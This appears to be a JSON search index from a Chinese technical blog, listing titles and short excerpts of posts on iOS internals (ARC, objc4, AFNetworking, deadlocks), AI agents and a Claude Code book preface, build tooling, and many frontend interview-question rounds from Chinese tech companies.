[{"permalink":"https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/arc-memory-management/","summary":"Swift 面试：ARC 与内存管理源码解析 Swift 面试里问 ARC，通常不是想听一句“自动引用计数”。真正要答清楚的是：对象头里有什么、strong / weak / unowned 到底差在哪里、编译器什么时候插入或消除 retain/release、为什么闭包会循环引用。\n这篇文章按面试题展开。先给可以直接回答的版本，再把结论落到 Swift 源码里的对象布局、引用计数状态机和 SIL ARC 优化。\n面试高频问题 Swift 的 ARC 和 Objective-C 的 ARC 有什么区别？ Swift 对象的引用计数存在哪里？ strong、weak、unowned 的底层差异是 …","title":"Swift 面试：ARC 与内存管理源码解析"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/preface/","summary":"为什么写这本书 2024 年至 2025 年，软件工程领域发生了一场静默而深刻的范式转移。大语言模型不再仅仅是\u0026amp;quot;聊天机器人\u0026amp;quot;或\u0026amp;quot;代码补全引擎\u0026amp;quot;——它们开始以 Agent 的形态，真正参与到软件开发的完整生命周期中。编写代码、阅读文件、执行命令、做出判断、协调子任务——这些曾经只属于人类程序员的能力，如今正在被算法重新定义。\n在众多 Agent 应用中，Anthropic 开源的 Claude Code 无疑是标杆级的存在。它不是一个简单的 CLI 工具，而是一个完整的 Agent 运行时系统——拥有推理循环、工具调度、权限决策、多 Agent 协调 …","title":"前言"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/class-realization-explained/","summary":"objc4 类加载、read_images 与类实现化 本文解释 Objective-C runtime 从 dyld 通知镜像映射，到读取类、处理 future class、realize class、methodize class、附着 category 的主干流程。 重点源码来自 runtime/objc-runtime-new.mm、objc-runtime-new.h、objc-os.mm、objc-class.mm 及相关测试。\n作用 核心结构 关键流程 测试视角\n一、这条链路的作用 把 Mach-O 中的静态元数据变成运行时可用的类 编译器把类、元类、方法列表、协议列表、属性列表 …","title":"objc4 类加载、read_images 与类实现化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/cocostennis/part-one/","summary":"介绍 2025 H2，我们开始进行技术规划。体育的现状是版权不够丰富，关注对于非版权比赛，只有两种方式:\n图文直播: 就只有一个气泡文字展示 文字直播：类似消息板的文字滚动\n这两个形式提现都很一般，完全激不起用户的任何兴趣。竞品如爱奇艺，对于非版权赛事，也是类似的效果：\n我们脑暴了一个使用 3D 来展示的计划。\n规划阶段 最初我们计划在图文直播的基础上做一个增强，在特定情境下，如进球、得分等场景下，播放一个固定的 3D 动画。起初我们打算使用 PAG 形式，这个是最简单的，而且我们之前也有了一定的了解，PAG 文件支持一定程度的自定义，PAG 里面的文字、颜色，图片等等都可以替换。但是交互性相 …","title":"3D球场项目 (一)"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-apm/b%E7%AB%AF%E5%B9%B3%E5%8F%B0%E8%AE%BE%E8%AE%A1/","summary":"B 端 APM 平台的目标不是“展示所有数据”，而是让研发团队在最短路径内完成：发现问题、判断影响、定位原因、分配负责人、验证修复、防止再次劣化。\n一、信息架构 flowchart TB Home[\u0026#34;质量概览\u0026#34;] --\u0026gt; Stability[\u0026#34;稳定性\u0026#34;] Home --\u0026gt; Performance[\u0026#34;性能体验\u0026#34;] Home --\u0026gt; Network[\u0026#34;网络\u0026#34;] Home --\u0026gt; Session[\u0026#34;用户会话\u0026#34;] Home --\u0026gt; Release[\u0026#34;版本发布\u0026#34;] Home --\u0026gt; Alert[\u0026#34;告警中心\u0026#34;] Home --\u0026gt; Config[\u0026#34;SDK 配置\u0026#34;] Stability --\u0026gt; …","title":"APM-B端平台设计"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/deadlock-%E6%AD%BB%E9%94%81/","summary":"死锁是 iOS 多线程开发中最隐蔽、也最致命的一类稳定性问题。它不像越界、空指针那样\u0026amp;quot;立刻崩溃给你看\u0026amp;quot;，而是表现为主线程\u0026amp;quot;卡住\u0026amp;quot;——用户能感受到界面无响应、无法交互，最终被 iOS watchdog 强杀（0x8BADF00D），落在 Apple 崩溃日志里归为 EXC_CRASH (SIGKILL) 或卡死（Hang）。\n本文系统梳理死锁的四个必要条件、iOS 生产环境中常见的发生场景，并结合 Apple 官方工具（TSan、Main Thread Checker、MetricKit）与业界最新实践（Sentry App Hangs、字节 …","title":"死锁（Deadlock）原理、常见场景与治理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-source-analysis/afnetworking%E6%BA%90%E7%A0%81%E5%AF%BC%E8%AF%BB/","summary":" 本文基于 AFNetworking 4.0.1（2020 年发布，仓库最后一次迭代）源码进行分析。AFNetworking 虽然已进入\u0026amp;quot;稳定休眠\u0026amp;quot;状态，但它作为 iOS 网络层的教科书级实现，其 NSURLSession 封装、HTTPS 校验、Multipart 流式上传、Method Swizzling 等设计思路至今仍值得每一位 iOS 工程师学习。源码仓库：AFNetworking/AFNetworking。\n一、整体架构 AFNetworking 的整个库只有 7 个核心类，按职责划分为\u0026amp;quot;核心会话\u0026amp;quot;、\u0026amp;ldquo;序列化 …","title":"AFNetworking 源码导读"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/ai-agent/","summary":"ChatGPT能写文章、能回答问题，但你让它帮你订一张机票，它做不到。它能告诉你\u0026amp;quot;你应该去携程搜一下\u0026amp;quot;，但它没法真的打开网页、输入日期、比价、下单。\n**AI Agent（智能体）**就是为了解决这个问题——让LLM不仅能\u0026amp;quot;想\u0026amp;quot;，还能\u0026amp;quot;做\u0026amp;quot;。Agent = LLM + 工具使用 + 自主规划 + 记忆。\n一、从聊天机器人到智能体 1.1 纯LLM的局限 一个纯粹的LLM本质上是一个\u0026amp;quot;无状态的文本生成器\u0026amp;quot;：\ngraph LR IN[\u0026#34;输入文本\u0026#34;] --\u0026gt; LLM[\u0026#34;LLM\u0026#34;] LLM --\u0026gt; OUT[\u0026#34;输出文本\u0026#34;] …","title":"AI Agent"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/app%E5%90%AF%E5%8A%A8%E6%B5%81%E7%A8%8B/","summary":"启动类型概览 iOS应用启动分为三种类型：\n启动类型 描述 特点 冷启动（Cold Launch） App完全不在内存中，需要从头开始加载 耗时最长，需要完整执行所有启动流程 热启动（Warm Launch） App在后台被挂起（Suspended），重新进入前台 最快，只需恢复App状态，不需要重新创建进程 预热启动（Pre-warm Launch） 系统预测用户可能启动App，提前在后台执行部分启动流程 iOS 15+引入，介于冷启动和热启动之间 graph LR subgraph \u0026#34;冷启动（耗时最长）\u0026#34; A1[创建进程] --\u0026gt; A2[加载dylib] A2 --\u0026gt; …","title":"App启动流程"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/principles/dry%E5%8E%9F%E5%88%99/","summary":"什么是DRY原则？ DRY（Don\u0026amp;rsquo;t Repeat Yourself）原则是由 Andy Hunt 和 Dave Thomas 在《The Pragmatic Programmer》一书中提出的软件开发原则。\nEvery piece of knowledge must have a single, unambiguous, authoritative representation within a system. 系统中的每一项知识都必须有一个单一、明确、权威的表示。\nDRY 原则的核心不仅仅是\u0026amp;quot;不要复制粘贴代码\u0026amp;quot;，而是确保知识和逻辑在系统中只存在一处。\n核心 …","title":"DRY原则"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-cross-platform/flutter/","summary":"Flutter 是 Google 推出的跨平台 UI 工具包，用 Dart 写一份代码即可编译到 iOS、Android、Web、macOS、Windows、Linux、嵌入式设备。它与 KMP/RN 的最大区别是\u0026amp;quot;不映射到原生控件，也不跑在 WebView 里\u0026amp;quot;——Flutter 自带一套 Impeller 渲染引擎，直接向 GPU（Metal / Vulkan）提交绘制命令，从按钮到滚动条的每一个像素都是自己画出来的。\n这种\u0026amp;quot;自绘\u0026amp;quot;架构让 Flutter 拥有\u0026amp;quot;双端像素级一致\u0026amp;ldquo;的超能力，也带来了\u0026amp;rdquo;iOS 原生设计语言 …","title":"Flutter 详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/instruments%E8%AF%A6%E8%A7%A3/","summary":"Instruments 是 Xcode 内置的性能分析套件，基于 DTrace/Apple Trace 基础设施构建，可以对 iOS、iPadOS、macOS、watchOS、tvOS、visionOS 的应用与系统进行 CPU、内存、图形、能耗、网络、I/O 等各个维度的观测。\nXcode 26（WWDC25）对 Instruments 做了近年来最大规模的升级，重点包括：\nPower Profiler：全新的能耗分析工具，支持 Tethered 与 Passive 两种录制模式。 下一代 SwiftUI instrument：基于 Cause \u0026amp;amp; Effect Graph 可视化状 …","title":"Instruments详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-architecture/mvc/","summary":"什么是MVC MVC（Model-View-Controller）是Apple官方推荐的iOS应用架构模式，也是最基础、最常见的架构。它将应用分为三个核心组件：\nModel（模型）：负责数据和业务逻辑 View（视图）：负责界面展示 Controller（控制器）：负责协调Model和View MVC的结构（Apple MVC） graph TD V[ViewUIView] --\u0026gt;|用户事件| C[ControllerUIViewController] C --\u0026gt;|更新UI| V C \u0026lt;--\u0026gt;|读写数据| M[Model数据层] 在Apple的MVC中，View和Model之间不能直接通信，所 …","title":"MVC架构详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E4%BB%A3%E7%90%86%E6%A8%A1%E5%BC%8F/","summary":"在iOS开发中，\u0026amp;ldquo;代理\u0026amp;quot;这个词通常有两层含义：\n设计模式中的代理模式（Proxy Pattern）：提供目标对象的替代品或占位符，控制对目标对象的访问 iOS中的代理模式（Delegate Pattern）：一种基于协议的回调机制，用于对象间通信 虽然中文都叫\u0026amp;quot;代理\u0026amp;rdquo;，但它们是不同的设计模式，解决不同的问题。本文将两者都进行详细介绍。\n一、Proxy Pattern（代理模式） 定义 代理模式（Proxy Pattern）是一种结构型设计模式，它为其他对象提供一种代理以控制对这个对象的访问。\n核心思想：代理对象作为真实对象的\u0026amp;quot;替身 …","title":"代理模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-build/bazel%E6%96%B9%E6%A1%88/","summary":"当 iOS 工程的规模突破 CocoaPods / Xcode 原生构建体系的舒适区，Bazel 就成为下一代构建系统的首选。字节跳动的头条、抖音、Airbnb、Uber、Lyft、Pinterest、Square、Bilibili 等都已把 iOS 工程迁到 Bazel。本文介绍 Bazel 的核心原理、在 iOS 上的生态（rules_apple / rules_swift / rules_xcodeproj）以及大厂落地实践。\n为什么是 Bazel CocoaPods + Xcode 在超大工程上的固有瓶颈：\n粗粒度依赖：以 Pod / Target 为单位，增量编译颗粒粗 隐式依赖 …","title":"编译优化-Bazel方案"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-95/round-159/","summary":" ← 已是第一轮 · 返回本次面经 · 第 2 轮 →\n本轮概述： 该轮面试主要考察了前端基础知识，包括BFC、浮动元素、作用域、异步编程、Webpack、Vue等多方面的内容。题目涉及理论知识和代码实现。\n本轮共 18 道题。答案默认折叠，便于先自行作答。\n1. BFC讲一下 题库原题：什么是BFC？\n题目要点 BFC（Block Formatting Context） 是 CSS 中一个重要的布局概念，它描述了一个块级元素的内部布局和外部布局之间的关系。BFC 主要用于处理元素的布局、浮动、边距合并等问题。\nBFC 的作用 阻止外边距折叠：\n外边距折叠：当两个块级元素垂直相邻时，它们的外边 …","title":"小红书-社招-5年 · 第 1 轮 · 技术面试"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/round-156/","summary":" ← 已是第一轮 · 返回本次面经 · 第 2 轮 →\n本轮概述： 这一轮主要考察了前端基础知识，包括JavaScript的基本类型和引用类型的存储、闭包的内存泄漏、垃圾回收机制、事件循环、React框架的理解等。\n本轮要点： Promise、CDN原理、Class、数据类型、浏览器渲染过程\n本轮共 24 道题。答案默认折叠，便于先自行作答。\n1. js中基本类型 和 引用类型的存储有什么不一样 题库原题：引用类型有哪些，有什么特点\n题目要点 在JavaScript中，引用类型是指非基本数据类型，它们是由对象、数组、函数等复杂数据结构组成的。\n参考答案 在JavaScript中，引用类型是指非 …","title":"小红书-社招-3年 · 第 1 轮 · 技术面试"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-93/round-154/","summary":" ← 已是第一轮 · 返回本次面经 · 第 2 轮 →\n本轮概述： 这一轮主要考察了前端技术栈的深度和广度，包括CSS框架、响应式设计、渲染优化、Vue框架的高级特性、HTTP协议、浏览器渲染机制等方面的知识。\n本轮共 22 道题。答案默认折叠，便于先自行作答。\n1. 项目中为何选择 Tailwind CSS ？ 题目要点 灵活性, 可维护性, 现代前端工具链\n参考答案 Tailwind CSS 是一个高度可定制的低级 CSS 框架，它提供了大量的原子类，可以快速构建一致且响应式的布局。选择 Tailwind CSS 的原因可能包括其灵活性、可维护性以及与现代前端工具链的良好集成。\n2. …","title":"小红书-社招-1年 · 第 1 轮 · 技术面试"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-83/round-132/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮概述： 这一轮主要考察了候选人的自我介绍、职业规划、项目经验、前端技术细节以及算法问题。面试氛围较为全面，涵盖了从基础到高级的多个方面。\n面试时间： 45分钟\n本轮共 21 道题。答案默认折叠，便于先自行作答。\n1. 自我介绍 题目要点 个人背景, 工作经验, 技术栈, 项目经验, 未来展望\n参考答案 自我介绍应包括个人背景、工作经验、技术栈、项目经验和对未来的展望。重点在于展示自己的专业能力和对前端技术的热情。\n2. 你的职业规划与前端技术方向的关系？ 题目要点 技术趋势, 个人兴趣, 学习和实践, 技能提升, 未来发展\n参考答案 …","title":"360-实习 · 第 1 轮 · 技术面试"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-82/round-131/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮概述： 该轮主要考察前端基础知识、JavaScript高级特性、HTTP协议、Vue与React框架对比、Git操作以及算法实现能力。问题涵盖理论理解与实际应用，氛围较为专业。\n本轮共 16 道题。答案默认折叠，便于先自行作答。\n1. 如何判断一个变量是数组？ 题库原题：判断数组的方式有哪些？\n题目要点 推荐方法：使用 Array.isArray()，这是最简单、最可靠的方式来检查一个值是否为数组。 其他方法：instanceof 和 Object.prototype.toString.call() 也很有效，但有一些特定的局限性 …","title":"百度-百家号-实习 · 第 1 轮 · 技术面试"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-81/round-130/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮概述： 该轮主要考察前端开发相关知识，包括动画实现、性能优化、React优化、Web Accessibility、计时器处理、WebSocket、缓存策略、国际化、兼容性问题等。题目以主观题为主，注重对核心原理和实际应用场景的理解。\n本轮共 18 道题。答案默认折叠，便于先自行作答。\n1. 实现一个动画，当用户鼠标悬停在按钮上时，按钮逐渐变大 题目要点 CSS transition, 动画性能优化, 硬件加速, 事件监听\n参考答案 在实现此类动画时，可以使用CSS的transition属性或JavaScript的 …","title":"百度-搜索-春招 · 第 1 轮 · 技术面试"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-80/round-129/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮概述： 这场面试主要围绕前端项目的实际工程能力展开，重点考察了候选人对动态路由、权限控制和状态管理的理解与实践。 同时涉及网络请求优化、缓存机制及组件复用等中高级工程问题，体现出对项目可维护性和性能的关注。 面试还关注了候选人对 TypeScript 应用、学习方法和职业规划的思考，考察其成长潜力与技术视野。\n本轮要点： 跨域相关\n本轮共 16 道题。答案默认折叠，便于先自行作答。\n1. 如何在前端项目中实现动态路由？ 题库原题：如何在前端项目中实现动态路由？\n题目要点 动态路由的核心是将路由配置从静态定义转为运行时生成或挂载。常见 …","title":"百度-商业化-秋招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-79/round-127/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮概述： 这些题目全面考察了前端工程师在实际项目中需要掌握的核心技术和解决问题的能力，涵盖了从基础原理到工程实践的各个层面。\n本轮共 23 道题。答案默认折叠，便于先自行作答。\n1. 自我介绍、项目介绍 题目要点 技术栈熟练度、架构经验、性能优化成果、团队协作能力\n参考答案 具有3年前端开发经验，专注于现代化前端技术栈和工程化实践。主要负责过大型电商平台的前端架构设计和性能优化工作，熟练掌握 Vue/React 生态系统。在项目中主导了从传统架构向微前端架构的迁移，通过模块联邦和组件库建设提升了团队开发效率。同时在性能优化方面有丰富实践 …","title":"腾讯-3年社招-前端面试 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-79/round-128/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 13 道题。答案默认折叠，便于先自行作答。\n1. 讲一下你的低代码平台架构设计 题目要点 分层架构、组件引擎、JSON Schema、热更新机制\n参考答案 低代码平台采用分层架构设计：底层是组件引擎，负责组件的注册、渲染和生命周期管理；中间层是可视化编辑器，提供拖拽、属性配置和预览功能；上层是业务逻辑层，处理数据绑定、事件处理和页面路由。技术栈选择 Vue 3 + TypeScript，通过 JSON Schema 描述组件结构，使用虚拟 DOM 进行高效渲染。同时建立了组件市场和模板库，支持组件的版本管理和热更新机制。\n2. …","title":"腾讯-3年社招-前端面试 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-78/round-125/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮共 23 道题。答案默认折叠，便于先自行作答。\n1. Vue 3.0 相比 Vue 2.0 有哪些改进？ 题目要点 响应式系统升级、Composition API、性能优化、TypeScript支持、Fragment支持\n参考答案 Vue 3.0 在架构层面进行了重大重构，采用了基于 Proxy 的响应式系统替代了 Object.defineProperty，这使得可以直接监听数组变化和动态属性添加。组合式 API 的引入提供了更好的逻辑复用和类型推导能力。在性能方面，通过 Tree-shaking 支持、更小的包体积、以及编译时优化 …","title":"腾讯-2年社招-前端面试 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-78/round-126/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 9 道题。答案默认折叠，便于先自行作答。\n1. 讲一下你觉得比较有亮点的项目 题目要点 技术选型合理性、渐进式迁移策略、自动化工具、性能保障\n参考答案 在负责的一个大型电商平台重构项目中，面临着从传统 jQuery 架构向现代化 Vue 3 + TypeScript 架构迁移的挑战。项目的亮点在于采用了渐进式迁移策略，通过微前端架构实现新老系统的平滑过渡。设计了一套自动化的代码转换工具，将重复性的迁移工作自动化，提升了整体迁移效率 60%。同时建立了完善的性能监控体系，确保迁移过程中用户体验不受影响。\n2. 项目的难点，你是怎么 …","title":"腾讯-2年社招-前端面试 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-77/round-124/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 10 道题。答案默认折叠，便于先自行作答。\n1. 讲一下你的第一个项目 题目要点 突出难点与解决方案，亮点强调可扩展性与价值。\n参考答案 第一个项目是一个内部管理系统，主要功能是数据可视化和表单管理。难点在于表单项类型复杂、交互逻辑多。解决方案是抽象出一套动态表单引擎，通过 JSON 配置生成组件，既降低了开发成本，也提升了可扩展性。项目的亮点在于统一了交互和样式规范，同时通过可配置化提高了可维护性。\n2. 为什么选择 Vue3 + Vite 而非 React/Webpack 题目要点 Vue3 → 响应式系统和语法优势 …","title":"腾讯-1年社招-前端面试 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-77/round-123/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮共 15 道题。答案默认折叠，便于先自行作答。\n1. 讲一下项目的难点和亮点 题目要点 突出解决问题的能力，说明遇到过的复杂问题和优化方案，亮点要体现价值和可扩展性。\n参考答案 在大型前端项目中，常见难点在于性能优化和复杂业务的抽象。比如数据量大时页面渲染和交互卡顿，需要通过虚拟列表、懒加载、分片渲染等方式解决；跨端适配和复杂状态管理也是典型难点。亮点可以体现在工程化和架构设计上，例如通过模块化拆分、微前端架构提高可维护性，或通过自动化工具链提升研发效率。\n2. 项目的规范是如何制定的，如何执行的 题目要点 强调自动化工具与制度双管齐 …","title":"腾讯-1年社招-前端面试 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-76/round-121/","summary":" ← 已是第一轮 · 返回本次面经 · 第 2 轮 →\n本轮要点： 本次面试主要考察校招生的前端基础知识、框架理解（Vue和React）、TypeScript应用、手写代码能力以及解决实际问题的能力。面试官重点关注以下几个方面：\n前端框架深度理解与实践：不仅要求掌握Vue和React的基础知识，更强调对框架设计原理（如Vue的响应式、虚拟DOM）的理解，以及在实际项目中的应用能力（如Vuex到Pinia的迁移，以及在React中模拟Vue特性的思路）。 JavaScript 核心与异步编程：对Object.defineProperty的数据劫持原理、Promise的深入理解及其各种组合与错误处 …","title":"字节-技术中台-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-75/round-119/","summary":" ← 已是第一轮 · 返回本次面经 · 第 2 轮 →\n本轮要点： 本次面试主要考察前端基础知识、React框架原理、算法能力等多个维度的内容。重点关注CSS布局、页面性能优化、React核心概念等方面。\n本轮共 18 道题。答案默认折叠，便于先自行作答。\n1. 如何实现一个宽高自适应的正方形元素？ 题目要点 CSS布局技巧和响应式设计能力 百分比单位在CSS中的特殊性质理解 现代CSS新特性的应用能力 参考答案 1.1 原理说明 实现宽高自适应的正方形元素的核心在于确保元素的高度能够根据其宽度以1:1的比例进行等比缩放。这通常通过利用CSS中某些属性的特殊计算方式来实现，或者通过现代CSS特 …","title":"字节跳动-商业化-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-74/round-118/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 考察面试者的表达能力、总结归纳能力和个人亮点。\n本轮共 17 道题。答案默认折叠，便于先自行作答。\n1. 自我介绍 题目要点 主观型问题，无唯一标准答案。 面试官主要考察答题者的表达能力、总结归纳能力、沟通技巧以及对自身经历和技术栈的清晰认知。 答题时建议围绕\u0026amp;quot;我是谁\u0026amp;quot;、\u0026amp;ldquo;我做了什么\u0026amp;rdquo;、\u0026amp;ldquo;我做得怎么样\u0026amp;quot;和\u0026amp;quot;我为什么选择贵公司\u0026amp;quot;这几个核心点展开，突出个人亮点与岗位匹配度。 参考答案 各位面试官好，我叫[您的姓名]，毕业于[您的学校]，专业是[ …","title":"字节-国际电商-前端面试 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-73/round-117/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 21 道题。答案默认折叠，便于先自行作答。\n1. 深拷贝浅拷贝有什么区别？怎么实现深拷贝？ 题库原题：深拷贝浅拷贝有什么区别？怎么实现深拷贝？\n题目要点 JS数据类型分别基本数据类型和引用数据类型，基本数据类型保存的是值，引用类型保存的是引用地址(this指针)。\n浅拷贝共用一个引用地址，深拷贝会创建新的内存地址。\n浅拷贝方法 直接对象复制 Object.assign 深拷贝 JSON.stringify转为字符串再JSON.parse 深度递归遍历 参考答案 一、数据类型存储 前面文章我们讲到，JavaScript中存在两大数 …","title":"百度-小程序-暑期实习 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-72/round-116/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 20 道题。答案默认折叠，便于先自行作答。\n1. 有没有使用 Node.js 进行开发的经历？ 题目要点 “不仅仅用过 Node.js，而且能说清楚在前端团队里它解决了哪些实际问题，产生了什么价值。” 这样比单纯回答“用过/没用过”更有亮点。\n参考答案 考察的核心是：对 Node.js 的理解深度和在前端/全栈中的实际应用场景。\n回答时可以从以下几个角度展开：\n1. 使用场景 前端工程化工具链： 使用 Node.js 驱动构建工具（Webpack、Vite、Rollup 等），编写脚本实现自动化构建、代码检查、Mock …","title":"百度-用户增长-秋招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-69/round-115/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n面试时间： 60分钟\n本轮共 21 道题。答案默认折叠，便于先自行作答。\n1. 讲一下你在官网开发中的主要职责，开发的模块以及你觉的比较亮点的地方 题目要点 如果是面试官问到“官网开发中的主要职责、开发的模块以及比较亮点的地方”，一般可以从以下几个角度来回答，既展示你的全局把控能力，又体现你在某些点上有深度。\n参考答案 如果是面试官问到“官网开发中的主要职责、开发的模块以及比较亮点的地方”，一般可以从以下几个角度来回答，既展示你的全局把控能力，又体现你在某些点上有深度。\n下面是一个参考思路：\n1. 主要职责 官网整体架构搭建：根据业务和 …","title":"百度-APP产品研发-秋招 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-69/round-112/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮共 15 道题。答案默认折叠，便于先自行作答。\n1. 前端实现动画有哪些方式？ 题库原题：前端实现动画有哪些方式？\n题目要点 前端开发中，实现动画的方法多种多样，每种方法都有其适用场景和优缺点。以下是一些常见的实现方式：\nCSS 动画：\n使用 @keyframes 和 animation 属性定义动画。 优点：易于实现，性能好，易于维护。 缺点：功能相对简单，难以实现复杂的交互动画。 CSS 过渡（Transitions）：\n使用 transition 属性在状态变化时实现平滑过渡。 优点：简单易用，性能优秀。 缺点：只能用于状态变化 …","title":"百度-APP产品研发-秋招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-68/round-111/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试主要考察前端基础知识，包括数据结构、网络协议、操作系统、JavaScript、CSS、React以及算法等方面。\n本轮共 12 道题。答案默认折叠，便于先自行作答。\n1. 数组和链表的区别，读取 和 删除 的时间复杂度 题目要点 数据结构基础：考察对数组和链表这两种基本数据结构概念的理解，包括它们的存储方式和特点。 时间复杂度分析：评估数据结构在不同操作下的性能表现，这是衡量算法效率的关键指标。 参考答案 1.1 原理说明\n数组：数组是一种将元素存储在连续内存空间中的数据结构。它通过索引来直接访问任意元素，因为所有元 …","title":"美团-零售-秋招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-67/round-110/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试主要考察前端基础、框架原理以及性能优化等方面的知识。\n本轮共 26 道题。答案默认折叠，便于先自行作答。\n1. 1. 项目的难点与亮点是什么？ 题目要点 说明该题是主观型问题，不考\u0026amp;quot;唯一标准答案\u0026amp;quot;。 面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。 答题结构建议：首先简述项目背景，接着阐述难点（遇到的问题、如何解决、技术选型考量），再说明亮点（创新点、技术深度、业务价值），最后进行总结和反思。 参考答案 我们团队在开发 XXX 项目时，有一个核心模块是 YYYY。这个模块的主要难点 …","title":"美团-打车-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-66/round-108/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮概述： 一面主要考察前端基础，难度不大。\n面试时间： 90分钟\n本轮要点： 基础概念理解深入，能够解释原理和应用场景\n代码实现思路清晰，考虑边界情况和性能优化\n对前端技术栈有系统性认知，了解技术发展趋势\n具备解决实际问题的能力和工程化思维\n本轮共 12 道题。答案默认折叠，便于先自行作答。\n1. 为什么选择前端 题目要点 作为校招生，回答\u0026amp;quot;为什么选择前端\u0026amp;quot;时要避免空喊\u0026amp;quot;热爱\u0026amp;quot;或跟风，建议用具体经历+能力匹配+行业洞察的三段式结构，既体现思考深度又展示成长潜力。\n参考答案 以下是分场景的高分回答模 …","title":"腾讯-CSIG一校招 · 第 1 轮 · 第一轮"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-66/round-109/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮概述： 第二轮对技术深度有一定的考察。 对构建工具有深入理解，能够分析技术选型原因 掌握React核心概念和性能优化技巧 具备网络协议和安全知识 代码实现能力强，能够设计合理的算法和架构 理解设计模式在实际场景中的应用\n本轮共 14 道题。答案默认折叠，便于先自行作答。\n1. Node中间件的作用和使用 题目要点 请求拦截处理、横切关注点、链式执行、功能解耦\n参考答案 中间件是在请求和响应之间执行的函数，用于处理横切关注点。在Express/Nest.js中，中间件按顺序执行，每个中间件可以修改请求对象、响应对象，或者终止请求-响应 …","title":"腾讯-CSIG一校招 · 第 1 轮 · 第二轮"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-65/round-107/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮概述： 主要考察前端基础，难度不大。\n本轮共 14 道题。答案默认折叠，便于先自行作答。\n1. 自我介绍 题目要点 突出专业背景、技术栈掌握情况、学习能力和求职意向，简洁明了地展现个人优势。\n参考答案 